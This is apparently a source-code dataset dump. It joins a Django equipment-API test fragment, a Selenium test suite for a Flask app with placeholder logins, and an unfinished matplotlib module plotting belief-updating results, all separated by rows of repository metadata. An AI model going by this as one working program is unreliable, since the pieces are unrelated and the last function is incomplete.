name_file = self.json_path % 'post_one_equipment_with_ipv6s.json'
# Does post request
response = self.client.post(
'/api/v3/equipment/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(201, response.status_code)
id_env = response.data[0]['id']
# Does get request
response = self.client.get(
'/api/v3/equipment/%s/?include=ipv6' % id_env,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
data = response.data
del data['equipments'][0]['id']
ipv6s = data['equipments'][0]['ipv6']
data['equipments'][0]['ipv6'] = [ipv6['id'] for ipv6 in ipv6s]
self.compare_json(name_file, data)
class EquipmentPostErrorTestCase(NetworkApiTestCase):
fixtures = [
'networkapi/system/fixtures/initial_variables.json',
'networkapi/usuario/fixtures/initial_usuario.json',
'networkapi/grupo/fixtures/initial_ugrupo.json',
'networkapi/usuario/fixtures/initial_usuariogrupo.json',
'networkapi/grupo/fixtures/initial_permissions.json',
'networkapi/grupo/fixtures/initial_permissoes_administrativas.json',
'networkapi/api_equipment/fixtures/initial_pre_equipment.json',
'networkapi/api_equipment/fixtures/initial_base.json',
]
json_path = 'api_equipment/tests/sanity/json/post/%s'
def setUp(self):
self.client = Client()
def tearDown(self):
pass
def test_post_duplicated_equipment(self):
"""Test of error to post of one equipment with name already existent."""
name_file = self.json_path % 'post_one_duplicated_equipment.json'
# Does post request
response = self.client.post(
'/api/v3/equipment/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(400, response.status_code)
self.compare_values(
'There is another equipment with same name VM-SANITY-TEST',
response.data['detail'])
def test_post_equipment_invalid_env(self):
"""Test of error to post of one equipment with environment non existent.
"""
name_file = self.json_path % 'post_one_equipment_invalid_env.json'
# Does post request
response = self.client.post(
'/api/v3/equipment/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(400, response.status_code)
self.compare_values(
'There is no environment with id = 10.',
response.data['detail'])
def test_post_equipment_invalid_group(self):
"""Test of error to post of one equipment with group non existent.
"""
name_file = self.json_path % 'post_one_equipment_invalid_group.json'
# Does post request
response = self.client.post(
'/api/v3/equipment/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(400, response.status_code)
self.compare_values(
'There is no group with a pk = 10.',
response.data['detail'])
| 33.272031 | 80 | 0.646246 | 1,023 | 8,684 | 5.256109 | 0.100684 | 0.082202 | 0.050586 | 0.060443 | 0.901246 | 0.885252 | 0.873349 | 0.873349 | 0.838572 | 0.794309 | 0 | 0.013807 | 0.241018 | 8,684 | 260 | 81 | 33.4 | 0.802003 | 0.083487 | 0 | 0.759494 | 0 | 0 | 0.25136 | 0.165591 | 0 | 0 | 0 | 0 | 0 | 1 | 0.075949 | false | 0.012658 | 0.025316 | 0 | 0.139241 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
181b9d57bb3a63372c10d33134c6c91ec3c1d75f | 12,645 | py | Python | api/test_front.py | shmulik323/project-manager-course | ab74c7b474b0bb459b4886e3b9cbb6fc4c37df92 | [
"MIT"
] | null | null | null | api/test_front.py | shmulik323/project-manager-course | ab74c7b474b0bb459b4886e3b9cbb6fc4c37df92 | [
"MIT"
] | 6 | 2020-03-24T17:00:59.000Z | 2021-12-13T19:59:12.000Z | api/test_front.py | shmulik323/project-manager-course | ab74c7b474b0bb459b4886e3b9cbb6fc4c37df92 | [
"MIT"
] | 1 | 2019-11-23T16:10:59.000Z | 2019-11-23T16:10:59.000Z | import os
import tempfile
import unittest
import urllib
from flask_testing import TestCase
from flask_testing import LiveServerTestCase
from selenium import webdriver
from api.application import create_app
from api.models import User, PremiumUser, db
from api.application import create_app
import requests
from flask import Flask, jsonify,Blueprint,abort, url_for
from flask_mail import Mail, Message
from flask_cors import CORS
from multiprocessing.pool import ThreadPool
import random, time, queue
import multiprocessing
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.support.ui import Select
from webdriver_manager.firefox import GeckoDriverManager
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.firefox.firefox_binary import FirefoxBinary
test_user_first_name = "alex"
test_user_last_name = "vaitz"
test_user_username = "alexv111"
test_user_email = "alexv@gmail.com"
test_user_password = "alex1234"
test_user2_first_name = "mishel"
test_user2_last_name = "elgawi"
test_user2_username = "mishel11"
test_user2_email = "mishel@email.com"
test_user2_password = "mishel1234"
class TestBase(TestCase):
def create_app(self):
config_name = 'testing'
app = create_app(config_name)
app.config.update(
LIVESERVER_PORT=3000
)
return app
def setUp(self):
chromeOptions = webdriver.ChromeOptions()
chromeOptions.add_argument("--headless")
chromeOptions.add_argument('--no-sandbox')
chromeOptions.add_argument("--start-fullscreen")
chromeOptions.add_argument('--disable-dev-shm-usage')
self.driver = webdriver.Chrome(chrome_options=chromeOptions)
self.driver.get('http://127.0.0.1:3000/')
self.driver.maximize_window()
db.session.commit()
db.create_all()
db.session.commit()
def tearDown(self):
self.driver.quit()
class TestRegister(TestBase):
def test_register(self):
self.driver.find_element_by_id("register").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user2_email)
self.driver.find_element_by_id("username").send_keys(
test_user2_username)
self.driver.find_element_by_id("first").send_keys(
test_user2_first_name)
self.driver.find_element_by_id("last").send_keys(
test_user2_last_name)
self.driver.find_element_by_id("password").send_keys(
test_user2_password)
self.driver.find_element_by_id("reg").submit()
time.sleep(2)
assert self.driver.find_element_by_id("success")
class TestLogin(TestBase):
def test_login(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(2)
assert self.driver.find_element_by_id("success")
class TestSideBar(TestBase):
def test_profile(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(2)
self.driver.get('http://127.0.0.1:3000/profile')
time.sleep(2)
assert self.driver.find_element_by_id("change_picture")
def test_contact(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(2)
self.driver.get('http://127.0.0.1:3000/contact')
time.sleep(2)
self.driver.find_element_by_id("subject").send_keys('error in something')
self.driver.find_element_by_id("message").send_keys('i have a lot of errors in a lot of places please help.')
time.sleep(1)
assert self.driver.find_element_by_id("submit")
def test_contact_manager(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(3)
self.driver.get('http://127.0.0.1:3000/contact_manager')
time.sleep(2)
self.driver.find_element_by_id("subject").send_keys('I have an issue')
self.driver.find_element_by_id("message").send_keys('i have a lot of problems in a lot of places please help.')
time.sleep(1)
assert self.driver.find_element_by_id("submit")
def test_create(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(3)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(2)
self.driver.get('http://127.0.0.1:3000/create')
time.sleep(2)
assert self.driver.find_element_by_id("download_pdf")
class TestProfileFunctions(TestBase):
def test_reset_password(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(2)
self.driver.get('http://127.0.0.1:3000/profile')
time.sleep(2)
self.driver.find_element_by_id("reset_password").click()
time.sleep(2)
self.driver.find_element_by_id("old_pass").send_keys(test_user_password)
self.driver.find_element_by_id("new_pass").send_keys('aaabbbccc1234')
self.driver.find_element_by_id("email").send_keys(test_user_email)
time.sleep(1)
self.driver.find_element_by_id("submit").click()
assert self.driver.find_element_by_id("logout")
def test_change_email(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(2)
self.driver.get('http://127.0.0.1:3000/profile')
time.sleep(2)
self.driver.find_element_by_id("change_email").click()
time.sleep(2)
self.driver.find_element_by_id("old_email").send_keys(test_user_email)
self.driver.find_element_by_id("new_email").send_keys('alex1234@gmail.com')
time.sleep(1)
self.driver.find_element_by_id("submit").click()
assert self.driver.find_element_by_id("logout")
def test_change_username(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(2)
self.driver.get('http://127.0.0.1:3000/profile')
time.sleep(2)
self.driver.find_element_by_id("change_username").click()
time.sleep(2)
self.driver.find_element_by_id("old_user").send_keys(test_user_username)
self.driver.find_element_by_id("new_user").send_keys('alex12345')
self.driver.find_element_by_id("email").send_keys(test_user_email)
time.sleep(1)
self.driver.find_element_by_id("edit_info").click()
assert self.driver.find_element_by_id("logout")
def test_change_picture(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(2)
self.driver.get('http://127.0.0.1:3000/profile')
time.sleep(2)
self.driver.find_element_by_id("change_picture").click()
time.sleep(2)
assert self.driver.find_element_by_id("logout")
def test_edit_profile(self):
User.query.delete()
self.user = User(email=test_user_email,password=test_user_password,name=test_user_first_name,last=test_user_last_name,username=test_user_username)
db.session.add(self.user)
db.session.commit()
time.sleep(1)
self.driver.find_element_by_id("login_link").click()
time.sleep(2)
self.driver.find_element_by_id("email").send_keys(test_user_email)
self.driver.find_element_by_id("password").send_keys(test_user_password)
self.driver.find_element_by_id("login_click").click()
time.sleep(2)
self.driver.get('http://127.0.0.1:3000/profile')
time.sleep(2)
self.driver.find_element_by_id("change_profile").click()
time.sleep(2)
self.driver.find_element_by_id("first").send_keys('alexander')
self.driver.find_element_by_id("last").send_keys('vitzi')
time.sleep(2)
self.driver.find_element_by_id("edit_names").click()
assert self.driver.find_element_by_id("logout")
if __name__ == '__main__':
unittest.main()
| 36.758721 | 154 | 0.686833 | 1,770 | 12,645 | 4.583616 | 0.092655 | 0.115863 | 0.139776 | 0.209664 | 0.768027 | 0.768027 | 0.756564 | 0.740663 | 0.738198 | 0.709972 | 0 | 0.018907 | 0.196916 | 12,645 | 343 | 155 | 36.865889 | 0.78001 | 0 | 0 | 0.603113 | 0 | 0 | 0.103677 | 0.001819 | 0 | 0 | 0 | 0 | 0.042802 | 1 | 0.054475 | false | 0.108949 | 0.085603 | 0 | 0.163424 | 0.003891 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
182a846baf5d429997872884b2b43fa1f8e3e744 | 25,707 | py | Python | auxiliary/auxiliary_plots.py | aysuavci/ose-data-science-course-project-aysuavci | 33ea374588ba22d6328fec84c78e831ba2eb88cf | [
"MIT"
] | null | null | null | auxiliary/auxiliary_plots.py | aysuavci/ose-data-science-course-project-aysuavci | 33ea374588ba22d6328fec84c78e831ba2eb88cf | [
"MIT"
] | null | null | null | auxiliary/auxiliary_plots.py | aysuavci/ose-data-science-course-project-aysuavci | 33ea374588ba22d6328fec84c78e831ba2eb88cf | [
"MIT"
] | null | null | null | """This module contains auxiliary functions for plotting which are used in the main notebook."""
import numpy as np
import pandas as pd
import pandas.io.formats.style
import seaborn as sns
import statsmodels as sm
import statsmodels.formula.api as smf
import statsmodels.api as sm_api
import matplotlib as pl
import matplotlib.pyplot as plt
from IPython.display import HTML
from stargazer.stargazer import Stargazer, LineLocation
from statsmodels.iolib.summary2 import summary_col
from auxiliary.auxiliary_tools import *
from auxiliary.auxiliary_plots import *
from auxiliary.auxiliary_tables import *
def Main_Figure1(df):
#Limit the values at +-50
df_fig1 = df
df_fig1.loc[(df['beliefadjustment'] > 50) & (df['beliefadjustment'] < 101), 'beliefadjustment'] = 50
df_fig1.loc[(df['beliefadjustment'] < - 50) & (df['beliefadjustment'] > -101), 'beliefadjustment'] = -50
fig, [[ax1, ax2], [ax3, ax4]] = plt.subplots(nrows=2, ncols=2, figsize=(12, 12))
fig.suptitle('FIGURE 1', fontsize=15)
#Direct & Positive
ax1.hist(df_fig1[(df_fig1['treatgroup'] == 3) | (df_fig1['treatgroup'] == 4)][df_fig1[(df_fig1['treatgroup'] == 3) | (df_fig1['treatgroup'] == 4)]["dummynews_goodbad"] == 0]['beliefadjustment'],range=(-50, 50), bins=50)
#Direct & Negative
ax2.hist(df_fig1[(df_fig1['treatgroup'] == 3) | (df_fig1['treatgroup'] == 4)][df_fig1[(df_fig1['treatgroup'] == 3) | (df_fig1['treatgroup'] == 4)]["dummynews_goodbad"] == 1]['beliefadjustment'],range=(-50, 50), bins=50)
#1-month & Positive
ax3.hist(df_fig1[df_fig1['treatgroup'] == 2][df_fig1[df_fig1['treatgroup'] == 2]["dummynews_goodbad"] == 0]['beliefadjustment'],range=(-50, 50), bins=50)
#1-month & Negative
ax4.hist(df_fig1[df_fig1['treatgroup'] == 2][df_fig1[df_fig1['treatgroup'] == 2]["dummynews_goodbad"] == 1]['beliefadjustment'],range=(-50, 50), bins=50)
ax1.set_title("Panel A. ConfidenceDirect: positive & negative")
ax1.set_ylabel('Fraction')
ax1.set_xlabel('Positive')
ax2.set_xlabel('Negative')
ax3.set_title("Panel B. Confidence1month: positive & negative")
ax3.set_ylabel('Fraction')
ax3.set_xlabel('Positive')
ax4.set_xlabel('Negative')
return Main_Figure1
def Main_Figure2(df):
fig, ax = plt.subplots(2, figsize=(8, 8))
#PANEL A
ax[0].scatter(df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['prior_av'], color='b', label='Prior')
ax[0].plot(df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['prior_av'], color='b')
ax[0].scatter(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos'], color='r', label='Posterior Positive Feedback')
ax[0].plot(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos'], color='r')
ax[0].scatter(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg'], color='g', label='Posterior Negative Feedback')
ax[0].plot(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg'], color='g')
#PANEL B
ax[1].scatter(df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['prior_av'], color='b', label='Prior')
ax[1].plot(df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['prior_av'], color='b')
ax[1].scatter(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos'], color='r', label='Posterior Positive Feedback')
ax[1].plot(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos'], color='r')
ax[1].scatter(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg'], color='g', label='Posterior Negative Feedback')
ax[1].plot(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg'], color='g')
ax[0].set_ylabel('Pr(upperhalf)')
ax[0].set_title('Panel A. ConfidenceDirect')
ax[0].legend(loc='lower right', fontsize = 'small')
ax[0].set_ylim([30,90])
fig.suptitle('FIGURE 2', fontsize=15)
ax[1].legend(loc='lower right', fontsize = 'small')
ax[1].set_xlabel('Test Performance')
ax[1].set_ylabel('Pr(upperhalf)')
ax[1].set_title('Panel B. Confidence1month')
ax[1].set_ylim([30,90])
return Main_Figure2
def Appendix_Figure_1(df):
#censor at +/-50
df_fig1 = df
df_fig1.loc[(df['beliefadjustment'] > 50) & (df['beliefadjustment'] < 101), 'beliefadjustment'] = 50
df_fig1.loc[(df['beliefadjustment'] < - 50) & (df['beliefadjustment'] > -101), 'beliefadjustment'] = -50
df_fig_NF = df_fig1[df_fig1['treatgroup'] == 7]
fig, Appendix_Figure_1 = plt.subplots(1, figsize=(5, 5))
fig.suptitle('Appendix A.7 - No Feedback Condition', fontsize=15)
Appendix_Figure_1.hist(df_fig_NF['beliefadjustment'],range=(-50, 50), bins=50)
Appendix_Figure_1.set_title("No Feedback")
Appendix_Figure_1.set_ylabel('Fraction')
Appendix_Figure_1.set_xlabel('Belief Adjustment')
return Appendix_Figure_1
def Appendix_Figure_2(df):
fig, ax = plt.subplots(2, figsize=(8, 8))
ax[0].scatter(df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['prior_av_b'], color='b', label='Prior')
ax[0].plot(df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['prior_av_b'], color='b')
ax[0].scatter(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos_b'], color='r', label='Posterior Bayes Positive Feedback')
ax[0].plot(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos_b'], color='r')
ax[0].scatter(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg_b'], color='g', label='Posterior Bayes Negative Feedback')
ax[0].plot(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg_b'], color='g')
ax[1].scatter(df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['prior_av_b'], color='b', label='Prior')
ax[1].plot(df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['prior_av_b'], color='b')
ax[1].scatter(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos_b'], color='r', label='Posterior Bayes Positive Feedback')
ax[1].plot(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos_b'], color='r')
ax[1].scatter(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg_b'], color='g', label='Posterior Bayes Negative Feedback')
ax[1].plot(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg_b'], color='g')
ax[0].set_ylabel('Pr(upperhalf)')
ax[0].set_title('ConfidenceDirect')
ax[0].legend(loc='lower right', fontsize = 'small')
ax[0].set_ylim([10,100])
fig.suptitle('Appendix A.8 - Figures Bayesian Posteriors', fontsize=15)
ax[1].legend(loc='lower right', fontsize = 'small')
ax[1].set_xlabel('Test Performance')
ax[1].set_ylabel('Pr(upperhalf)')
ax[1].set_title('Confidence1month')
ax[1].set_ylim([0,100])
return Appendix_Figure_2
def Extension_Figure_1(df_ex):
import warnings
warnings.simplefilter(action='ignore', category=FutureWarning)
fig, axes = plt.subplots(1, 3, sharex=True, figsize=(20,5))
fig.suptitle('FIGURE 2. Noise in Round-to-Round Updating by Treatment and Signal Type')
sns.set_style('whitegrid')
sns.regplot('meanbelief_priorbayesimage','meanbeliefimage',
df_ex[(df_ex['frac_upimage'] == 0) & (df_ex['IQtask'] ==0) & (df_ex['round'] > 0)],
scatter_kws={'s':30},line_kws={'color':'lightblue'}, marker="+", ax=axes[0], label='Bad news')
sns.regplot('meanbelief_priorbayesimage','meanbeliefimage',
df_ex[(df_ex['frac_upimage'] == 1) & (df_ex['IQtask'] ==0) & (df_ex['round'] > 0)],
scatter_kws={'s':20},line_kws={'color':'orange'}, ax=axes[0], label='Good news')
sns.regplot('meanbelief_priorbayesimage','meanbeliefimage',
df_ex[(df_ex['frac_upimage'] == 0) & (df_ex['IQtask'] ==1) & (df_ex['round'] > 0)],
scatter_kws={'s':30},line_kws={'color':'lightblue'}, marker="+", ax=axes[1], label='Bad news')
sns.regplot('meanbelief_priorbayesimage','meanbeliefimage',
df_ex[(df_ex['frac_upimage'] == 1) & (df_ex['IQtask'] ==1) & (df_ex['round'] > 0)],
scatter_kws={'s':20},line_kws={'color':'orange'}, ax=axes[1], label='Good news')
sns.regplot('meanbelief_priorbayescard','meanbeliefcard',
df_ex[(df_ex['frac_upcard'] == 0) & (df_ex['round'] > 0)],
scatter_kws={'s':30},line_kws={'color':'lightblue'}, marker="+", ax=axes[2], label='Bad news')
sns.regplot('meanbelief_priorbayescard','meanbeliefcard',
df_ex[(df_ex['frac_upcard'] == 1) & (df_ex['round'] > 0)],
scatter_kws={'s':20},line_kws={'color':'orange'}, ax=axes[2], label='Good news')
axes[0].set_title('Panel A. Beauty')
axes[0].set_xlabel('Bayesian posterior mean')
axes[0].set_ylabel('Posterior mean of Subjects')
axes[0].legend(loc='lower right')
axes[1].set_title('Panel B. IQ')
axes[1].set_xlabel('Bayesian posterior mean')
axes[1].set_ylabel('Posterior mean of Subjects')
axes[1].legend(loc='lower right')
axes[2].set_title('Panel C. Control')
axes[2].set_xlabel('Bayesian posterior mean, using priors of subjects')
axes[2].set_ylabel('Posterior mean of Subjects')
axes[2].legend(loc='lower right')
plt.show()
return Extension_Figure_1
def cluster_fit(formula, data, group_var):
"""
To run regressions with standard errors clustered at subject level
"""
fit = sm_api.OLS.from_formula(formula, data=data).fit()
to_keep = pd.RangeIndex(len(data)).difference(pd.Index(fit.model.data.missing_row_idx))
robust = fit.get_robustcov_results(cov_type='cluster',
groups=data.iloc[to_keep][group_var])
return robust
def Extension_Figure_2(df_ex):
#Regressions with clustered standard errors at subject level
reg_B_b_ = cluster_fit('meanbeliefimage ~ meanbelief_priorbayesimage + mb_fracup + frac_upimage',
data=df_ex[(df_ex['frac_upimage'] == 0) & (df_ex['IQtask'] ==0)], group_var='ID')
reg_B_g_ = cluster_fit('meanbeliefimage ~ meanbelief_priorbayesimage + mb_fracup + frac_upimage',
data=df_ex[(df_ex['frac_upimage'] == 1) & (df_ex['IQtask'] ==0)], group_var='ID')
reg_IQ_b_ = cluster_fit('meanbeliefimage ~ meanbelief_priorbayesimage + mb_fracup + frac_upimage',
data=df_ex[(df_ex['frac_upimage'] == 0) & (df_ex['IQtask'] ==1)], group_var='ID')
reg_IQ_g_ = cluster_fit('meanbeliefimage ~ meanbelief_priorbayesimage + mb_fracup + frac_upimage',
data=df_ex[(df_ex['frac_upimage'] == 1) & (df_ex['IQtask'] ==1)], group_var='ID')
reg_C_b_ = cluster_fit('meanbeliefcard ~ meanbelief_priorbayescard + mb_fracupcard + frac_upcard',
data=df_ex[(df_ex['frac_upcard'] == 0)], group_var='ID')
reg_C_g_ = cluster_fit('meanbeliefcard ~ meanbelief_priorbayescard + mb_fracupcard + frac_upcard',
data=df_ex[(df_ex['frac_upcard'] == 0)], group_var='ID')
fig2_D= plt.figure(num=None, figsize=[15,15])
fig, ax = plt.subplots()
ax.plot(['BAD', 'GOOD'], [reg_B_b_.rsquared, reg_B_g_.rsquared], color='blue',label='Beauty')
ax.scatter(['BAD', 'GOOD'], [reg_B_b_.rsquared, reg_B_g_.rsquared], marker =',', color='blue', s=80)
ax.plot(['BAD', 'GOOD'], [reg_IQ_b_.rsquared, reg_IQ_g_.rsquared], color='red',label='IQ')
ax.scatter(['BAD', 'GOOD'], [reg_IQ_b_.rsquared, reg_IQ_g_.rsquared], marker ='o', color='red', s=80)
ax.plot(['BAD', 'GOOD'], [reg_C_b_.rsquared, reg_C_g_.rsquared], color='green',label='Control')
ax.scatter(['BAD', 'GOOD'], [reg_C_b_.rsquared, reg_C_g_.rsquared], marker ='^', color='green', s=80)
plt.legend()
plt.xlabel('Condition')
plt.xlim(-0.3,1.3)
plt.ylabel('$R^2$')
plt.title("Panel D. $R^2$ by condition and signal valence")
return Extension_Figure_2
def Extension_Figure_3(df):
fig, [[ax1, ax2], [ax3, ax4]] = plt.subplots(nrows=2, ncols=2, figsize=(12, 12))
fig.suptitle('EXTENSION - FIGURE 1: Bayesian & Observed Posterior Beliefs', fontsize=15)
fig.suptitle('EXTENSION - FIGURE 1: Bayesian & Observed Posterior Beliefs', fontsize=15)
"""
Basically, a combination of Main_Figure_2 and Appendix_Figure_2.
"""
